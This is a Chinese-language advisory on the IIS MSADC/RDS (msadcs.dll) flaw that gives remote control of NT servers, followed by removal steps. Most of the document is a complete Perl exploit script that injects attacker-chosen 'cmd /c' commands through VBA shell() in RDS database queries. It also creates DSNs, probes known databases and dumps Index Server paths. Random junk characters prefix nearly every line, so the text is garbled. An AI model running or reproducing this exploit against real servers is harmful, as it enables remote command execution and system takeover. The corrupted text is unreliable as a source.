IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
52"/Zr }j l]ZUKy 涉及程序：
nu Q"\ G Microsoft NT server
V THDGBU j)uIe)wZw 描述：
/L~*FQQK> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
RI`A<*>w " JRlj 详细：
%ry>p(-pC( 如果你没有时间读详细内容的话，就删除:
/Iskjcc60W c:\Program Files\Common Files\System\Msadc\msadcs.dll
''6"Xi|5 有关的安全问题就没有了。
0I
k@d'7 wEp/bR1= 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
VcP#/&B| F-X>| oK>z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
OS,$}I[`8 关于利用ODBC远程漏洞的描述，请参看:
ug{F?LW[ #Y:/^Q$_qS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm LU]~d< i99 *iR`mZb 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
ir m8z|N- http://www.microsoft.com/security/bulletins/MS99-025faq.asp pif8/e XyI w5
9 这里不再论述。
u+V;r)J{ @s/ q Oq? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Vg3&:g5 / C+iP
@~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
A#i-C+"} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2O
EZHEJW'JnE nMnc&8r #将下面这段保存为txt文件，然后: "perl -x 文件名"
) CB?gW |EApKx aKD #!perl
eyM3W}[S$/ #
+`+a9+= # MSADC/RDS 'usage' (aka exploit) script
&><`? #
cnj_tC=zt # by rain.forest.puppy
iaC$K@a{ #
kb6v2 ^8H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ERZ[t\g) # beta test and find errors!
y5#_@ N.<hZ\].= use Socket; use Getopt::Std;
XC$~! getopts("e:vd:h:XR", \%args);
WS(c 0c @4|/| ! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ZQ:Y5 ph Hl O+^(eX if (!defined $args{h} && !defined $args{R}) {
`=*svrmS print qq~
^>" ?!lv Usage: msadc.pl -h <host> { -d <delay> -X -v }
n5 i}J/Sa2 -h <host> = host you want to scan (ip or domain)
i!iODt3k -d <seconds> = delay between calls, default 1 second
Bb o* -X = dump Index Server path table, if available
HI?>]zz| -v = verbose
/?GBp[(0 -e = external dictionary file for step 5
o]Ki+ U 3)ip@29F Or a -R will resume a command session
~RJg.9V n >Ei1 ~; exit;}
}u&JX 8a h] D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W1s|7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
g :EU\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
oMPQkj; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
"f3>20} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
c1^3 lgPv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
]'G7(Y\)f '3Ri/V, if (!defined $args{R}){ $ret = &has_msadc;
*G^]j
)/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ojs\2('u p5KNqqZZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%9lxE[/ . "cmd /c ";
:-Pj )Y{I $in=<STDIN>; chomp $in;
g9XtE $command="cmd /c " . $in ;
D.!4i.)8} 8v o}
.JIl if (defined $args{R}) {&load; exit;}
N9Ml&*%oX{ D6t] E)FH print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
; p9D2& &try_btcustmr;
R<=t{vTJ5 .phQ7":` print "\nStep 2: Trying to make our own DSN...";
pr"flRQr# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7d)aDc*TjW eG v"&kr print "\nStep 3: Trying known DSNs...";
!xI![N ^ &known_dsn;
"DpQnhvbB 0 Yp;?p^ print "\nStep 4: Trying known .mdbs...";
| QA8"&r &known_mdb;
J [l K BP6Shc|C if (defined $args{e}){
zYL^e @ print "\nStep 5: Trying dictionary of DSN names...";
)sHPIxHI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S\A[Z&k 0
K="+2]{I print "Sorry Charley...maybe next time?\n";
* QG;KJ % exit;
Mx"tUoU6z #k)\e;,X ##############################################################################
`2PT 8UM gISs+g sub sendraw { # ripped and modded from whisker
.Dm{mV@*T sleep($delay); # it's a DoS on the server! At least on mine...
R 6Em^A/> my ($pstr)=@_;
KfNXX>' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
bed+Ur& die("Socket problems\n");
R. N*G]K 5 if(connect(S,pack "SnA4x8",2,80,$target)){
%*OJRL` select(S); $|=1;
6ZBD$1$A! print $pstr; my @in=<S>;
7Cf(y'w^ select(STDOUT); close(S);
3:Wr)>l}# return @in;
;>N ~ ,Q } else { die("Can't connect...\n"); }}
j`B{w c29Z1Zs2) ##############################################################################
(#]KjpIK
"=.|QKC1` sub make_header { # make the HTTP request
1tW:(~ =a; my $msadc=<<EOT
$Stu-l1e a POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
sLIP |i User-Agent: ACTIVEDATA
cmI#R1\ Host: $ip
0
,-b %X Content-Length: $clen
@g~sgE}# Connection: Keep-Alive
k#x pY!'7 `@7tWX0 ADCClientVersion:01.06
gN~y6c:N Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\<**S SN S!_?# ^t --!ADM!ROX!YOUR!WORLD!
G>QTPXcD Content-Type: application/x-varg
B:cOcd?p Content-Length: $reqlen
+`-a*U94 mNoqs&UB EOT
,~(}lvqVH ; $msadc=~s/\n/\r\n/g;
;4$C$ r!t return $msadc;}
bl_WN|SQ :g#it@
##############################################################################
J_ |x^ "~C#DZwt{ sub make_req { # make the RDS request
79H +~1Az my ($switch, $p1, $p2)=@_;
`g N68:B my $req=""; my $t1, $t2, $query, $dsn;
&tCtCk%{j yXg1N
N if ($switch==1){ # this is the btcustmr.mdb query
[t{ #@X $query="Select * from Customers where City=" . make_shell();
7"p s#)O $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Y{RB\}f( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|wQZ~Ux: y$o =\: elsif ($switch==2){ # this is general make table query
mX@* 2I $query="create table AZZ (B int, C varchar(10))";
"B3: m-' $dsn="$p1";}
389.&`Q%Ut v qMk)htIz elsif ($switch==3){ # this is general exploit table query
8p { $query="select * from AZZ where C=" . make_shell();
q-
(N Zno $dsn="$p1";}
L^1q/4${ Cnci%e o elsif ($switch==4){ # attempt to hork file info from index server
k<zGrq=8J $query="select path from scope()";
`sy &dyM $dsn="Provider=MSIDXS;";}
ZM`P~N1?)g x*8f3^ wE elsif ($switch==5){ # bad query
Juqn
X $query="select";
2%C5P0;QX $dsn="$p1";}
oV>AFs6 Sx9:$"3.X $t1= make_unicode($query);
r5fkt>HZ $t2= make_unicode($dsn);
(Zg' pSs) $req = "\x02\x00\x03\x00";
umZ
g}|C_ $req.= "\x08\x00" . pack ("S1", length($t1));
jI`To%^ Y $req.= "\x00\x00" . $t1 ;
Ty0 T7D $req.= "\x08\x00" . pack ("S1", length($t2));
W< |K $req.= "\x00\x00" . $t2 ;
m$mY<Q
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
a {$k<@Ww return $req;}
OMI!=Upz bSR+yr'? ##############################################################################
m4SXH> o m4U+,|Fa sub make_shell { # this makes the shell() statement
= #2qX> ? return "'|shell(\"$command\")|'";}
qL5#.bR fw v
T2G4 ##############################################################################
*R\/#Y| *8X9lv.Z sub make_unicode { # quick little function to convert to unicode
@*O{*2 my ($in)=@_; my $out;
yb{{ z @ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PT@e),{~o9 return $out;}
R k j KIa x$?7)F&z ##############################################################################
C:GHP$/} + }XL>=-5 sub rdo_success { # checks for RDO return success (this is kludge)
Ms'TC; &PS my (@in) = @_; my $base=content_start(@in);
kH8$nk eev if($in[$base]=~/multipart\/mixed/){
5*wApu{2A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
X]pWvQ Q] return 0;}
pG F5aF7T R!k<l<9q ##############################################################################
!E {GcK !P60[*> sub make_dsn { # this makes a DSN for us
^o6)[_L my @drives=("c","d","e","f");
iPY vePQ print "\nMaking DSN: ";
9p\Hx#^ foreach $drive (@drives) {
2VV[*QI print "$drive: ";
'
MS!ss=r my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
T5dUJR2k$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|IX` ( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
^0x.'G? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
jQxPOl$- return 0 if $2 eq "404"; # not found/doesn't exist
4&oXy,8LC if($2 eq "200") {
`mKlv~$1^ foreach $line (@results) {
+)JNFy - return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eN| HJ= } return 0;}
3:~l2KIP4 v(Bp1~PPZM ##############################################################################
)`s;~ _ZZ %EVV-n@ sub verify_exists {
Z.aLk4QO@ my ($page)=@_;
jV4hxuc$ my @results=sendraw("GET $page HTTP/1.0\n\n");
8yE%X!E return $results[0];}
R?bn,T> {8{t]LK< ##############################################################################
;-9zMbte : FYXw$7'l sub try_btcustmr {
z{`6# my @drives=("c","d","e","f");
?@lx my @dirs=("winnt","winnt35","winnt351","win","windows");
LZUA+ x ( ` CA G8D foreach $dir (@dirs) {
2Ft8dfdm` print "$dir -> "; # fun status so you can see progress
! c4)pMd foreach $drive (@drives) {
JtYY T/P B print "$drive: "; # ditto
tKG;k"wk $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9ra HSzK@d $reqlenlen=length( "$reqlen" );
"M 9TB. O $clen= 206 + $reqlenlen + $reqlen;
)BF \!sTn JNxW6 cK my @results=sendraw(make_header() . make_req(1,$drive,$dir));
P1 7> 6)a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
QIij>!c4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
u\()E|?p : k M E ##############################################################################
MfXt +c`r d7W%zg \T sub odbc_error {
4Q$j]U&b my (@in)=@_; my $base;
hF7V !*5 my $base = content_start(@in);
rV8(ia if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y3={NB+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k_*XJ <S!Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~:/%/-^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y]+e
Df return $in[$base+4].$in[$base+5].$in[$base+6];}
5E]UI YAkV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-O~C m}e print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DL'd&;6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6C:x6'5[ lnC !g ##############################################################################
?G4iOiyt HCX!P4Hj sub verbose {
lq>*x=< my ($in)=@_;
0M#N=%31 return if !$verbose;
5 1o@b print STDOUT "\n$in\n";}
sTKab
: 4r_!>['`" ##############################################################################
-d|BO[4j *C4~}4WT\ sub save {
n!UMU ^ my ($p1, $p2, $p3, $p4)=@_;
Rz.i/w g} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ff[H >Lp~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f*{M3"$E close OUT;}
% $/=4f.j 51&|t#8h ##############################################################################
J Z %`%rA 4]"a;( sub load {
/ lf\
E= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b%3Q$wIJ6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ISpeV @p=<IN>; close(IN);
?D1x;i9< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
AGh~8[ $target= inet_aton($ip) || die("inet_aton problems");
=RQ )$ % print "Resuming to $ip ...";
b HO7* E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hX0RET if($p[1]==1) {
^Lsc`<xC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
a;56k $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+7Sf8tg\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
D35m5 +=I if (rdo_success(@results)){print "Success!\n";}
PASuf.U$" else { print "failed\n"; verbose(odbc_error(@results));}}
?O!]8k`1$ elsif ($p[1]==3){
` !zQ if(run_query("$p[3]")){
w|&,I4[" print "Success!\n";} else { print "failed\n"; }}
ov1Wr#s elsif ($p[1]==4){
d j3|f{kg{ if(run_query($drvst . "$p[3]")){
2y ^U k,g print "Success!\n"; } else { print "failed\n"; }}
gB>(xY>LrA exit;}
A)OdQFet( xy2\'kS`G ##############################################################################
0xN!DvCg>. =nLO?qoe sub create_table {
:}^Rs9 ' my ($in)=@_;
'-`O.
4u $reqlen=length( make_req(2,$in,"") ) - 28;
j0AwL 7 $reqlenlen=length( "$reqlen" );
OSU{8. $clen= 206 + $reqlenlen + $reqlen;
1d`cTaQ- my @results=sendraw(make_header() . make_req(2,$in,""));
kl| g return 1 if rdo_success(@results);
5xhM0 ( my $temp= odbc_error(@results); verbose($temp);
j(&GVy^;? return 1 if $temp=~/Table 'AZZ' already exists/;
w(/7Jt$ return 0;}
9`&?hi49nK B
i'd 5 B5 ##############################################################################
%WZ$]M?q M/*Bh,M` sub known_dsn {
Z?-;.G* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\e_IFISC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-jFP7tEv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
d60c$?"]a( "banner", "banners", "ads", "ADCDemo", "ADCTest");
nQ|GqU\oA 1y 7y0V foreach $dSn (@dsns) {
K6-6{vt print ".";
cbfD B^_ next if (!is_access("DSN=$dSn"));
XWJ SLN(O if(create_table("DSN=$dSn")){
tbg*_ZQO u print "$dSn successful\n";
iZC>)&ax if(run_query("DSN=$dSn")){
]}.0el{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
WX LK89ev\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
<o2,HTWNPS w"1 x=+ ##############################################################################
*u}'}jC1X , }KwP *:Z sub is_access {
5lGQ#r my ($in)=@_;
p:Oz<P $reqlen=length( make_req(5,$in,"") ) - 28;
u
>4ArtF $reqlenlen=length( "$reqlen" );
v _.HGG S $clen= 206 + $reqlenlen + $reqlen;
e#1.T my @results=sendraw(make_header() . make_req(5,$in,""));
^}hJL7O' my $temp= odbc_error(@results);
t-x[ :i verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v G2.]? return 0;}
w E?CvL ~JLYhA^'+< ##############################################################################
-A}zJBcR lirN YJ]tO sub run_query {
yWNOG 2qAP my ($in)=@_;
g
&*m ozs $reqlen=length( make_req(3,$in,"") ) - 28;
p3 e|j $reqlenlen=length( "$reqlen" );
{tc57jsr $clen= 206 + $reqlenlen + $reqlen;
S!`:E my @results=sendraw(make_header() . make_req(3,$in,""));
!3@{ U@*Z] return 1 if rdo_success(@results);
cW; H!:& my $temp= odbc_error(@results); verbose($temp);
IytDvz*| return 0;}
Yt pRy%
R (vnoP< 0
##############################################################################
&sdx`, i-]U+m* sub known_mdb {
TtZ}"MPZ my @drives=("c","d","e","f","g");
$~G@ my @dirs=("winnt","winnt35","winnt351","win","windows");
9n " V\e_R my $dir, $drive, $mdb;
eIJ[0c b} my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ff G%C>E6~ 6A?8tm/0 # this is sparse, because I don't know of many
85D? dgV my @sysmdbs=( "\\catroot\\icatalog.mdb",
0p `")/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ws[/ "\\system32\\certmdb.mdb",
gHZqA_*T8U "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
uFo/s&6K "Vy WT my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0< Q*7aY "\\cfusion\\cfapps\\forums\\forums_.mdb",
T
pD; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7h`^N5H.q "\\cfusion\\cfapps\\security\\realm_.mdb",
P$OUi!" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Bzw19S6y "\\cfusion\\database\\cfexamples.mdb",
?A&%Cwj "\\cfusion\\database\\cfsnippets.mdb",
{E~Xd "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
%J!NL0x_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]Jn2Ra"j "\\cfusion\\brighttiger\\database\\cleam.mdb",
N57 1s "\\cfusion\\database\\smpolicy.mdb",
+`Pmq} ey "\\cfusion\\database\cypress.mdb",
$UC {"0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
MMd.0Ju aO "\\website\\cgi-win\\dbsample.mdb",
G?ig1PB"# "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
En\Z#0,V "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0X>T+A[E ); #these are just
jkt 6/H foreach $drive (@drives) {
TF2KZL#A| foreach $dir (@dirs){
i/*,N&^ foreach $mdb (@sysmdbs) {
RX>2 ~^ print ".";
G "brT 5: if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
RG1\=J$:E print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`ET& VV if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x*q35K^PE print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
D5L{T+}Oi% } else { print "Something's borked. Use verbose next time\n"; }}}}}
,v7Q *3 .&|L|q} foreach $drive (@drives) {
|r !G, foreach $mdb (@mdbs) {
J@Yj \9U print ".";
bo>E"< if(create_table($drv . $drive . $dir . $mdb)){
niz 'b]] + print "\n" . $drive . $dir . $mdb . " successful\n";
7n&yv9" if(run_query($drv . $drive . $dir . $mdb)){
m 9t$ h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
U\bC0q } else { print "Something's borked. Use verbose next time\n"; }}}}
YPE nNt+ }
3{RL \gh$" W;TJenv ##############################################################################
6$RpV'xz a g;dc sub hork_idx {
0OWL print "\nAttempting to dump Index Server tables...\n";
GTAf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0Oap 39 $reqlen=length( make_req(4,"","") ) - 28;
ti2 $reqlenlen=length( "$reqlen" );
^P$7A ]! $clen= 206 + $reqlenlen + $reqlen;
zPE$ my @results=sendraw2(make_header() . make_req(4,"",""));
Z@M6!;y# if (rdo_success(@results)){
~ffwLgu!
my $max=@results; my $c; my %d;
X-/Ban for($c=19; $c<$max; $c++){
vp L Mhf` $results[$c]=~s/\x00//g;
iLtc
HpN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h<N RE0- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|' ;7v)CIG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~Z/7pP+ $d{"$1$2"}="";}
@ i1q ]0 foreach $c (keys %d){ print "$c\n"; }
"b%FmM } else {print "Index server doesn't seem to be installed.\n"; }}
m~>@BCn; : Ss3ck*= ##############################################################################
1;&T^Gdj BIfi:7I;Q sub dsn_dict {
XwP x9+b6j open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ti9}*8 while(<IN>){
Dbz]{_Y; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
w2z p#;d next if (!is_access("DSN=$dSn"));
BX3lP v if(create_table("DSN=$dSn")){
~L'nz quF print "$dSn successful\n";
L|\Diap if(run_query("DSN=$dSn")){
i@,]Z~] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i!,HB| wQ print "Something's borked. Use verbose next time\n";}}}
( 3;`bvYH" print "\n"; close(IN);}
% wL, v.} 6N3@!xtpi ##############################################################################
MZ ~.(& /80YZ sub sendraw2 { # ripped and modded from whisker
zH=hI Vc sleep($delay); # it's a DoS on the server! At least on mine...
P4 6,o my ($pstr)=@_;
k?j Fh6% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X4Xf2aXI die("Socket problems\n");
@]?R 2bI if(connect(S,pack "SnA4x8",2,80,$target)){
@a(oB. i print "Connected. Getting data";
6K 4+0xXv open(OUT,">raw.out"); my @in;
gp/YjUH7k8 select(S); $|=1; print $pstr;
RIjM(P while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)eR$:uO close(OUT); select(STDOUT); close(S); return @in;
~6d5zI4\ } else { die("Can't connect...\n"); }}
fS I %c3 }cW#045es ##############################################################################
Tz` ,{k oEIqA sub content_start { # this will take in the server headers
l% <c6 ; my (@in)=@_; my $c;
sykFSPy`' for ($c=1;$c<500;$c++) {
%U?)?iZdL if($in[$c] =~/^\x0d\x0a/){
oAz<G if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
) 4ncutb else { return $c+1; }}}
, `
o+ ? return -1;} # it should never get here actually
5i9Ub |!P 4z 0L ke ##############################################################################
#r}uin*jD !Uy >eji} sub funky {
6~@5X}^<0 my (@in)=@_; my $error=odbc_error(@in);
/qXzOd if($error=~/ADO could not find the specified provider/){
o#}mkE87 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
bNs[ O22 exit;}
z!Hx @){| if($error=~/A Handler is required/){
Q|// Z print "\nServer has custom handler filters (they most likely are patched)\n";
r|-J8s# exit;}
e & R b if($error=~/specified Handler has denied Access/){
@C_ =* print "\nServer has custom handler filters (they most likely are patched)\n";
XhA4:t exit;}}
D|T R! u){S$</ ##############################################################################
}) 7K S? |j#
^@R sub has_msadc {
VIg \]%qse my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
AT y mKJ my $base=content_start(@results);
iT$d;5_pU return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
GNZ#q)qT return 0;}
bd{\{[^S! LG6I_[ ########################
9b%j.Q-W 4if\5 P:j A:)sg !Lt 解决方案：
}.t^D| 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
UN( 3i(d 2、移除web 目录: /msadc
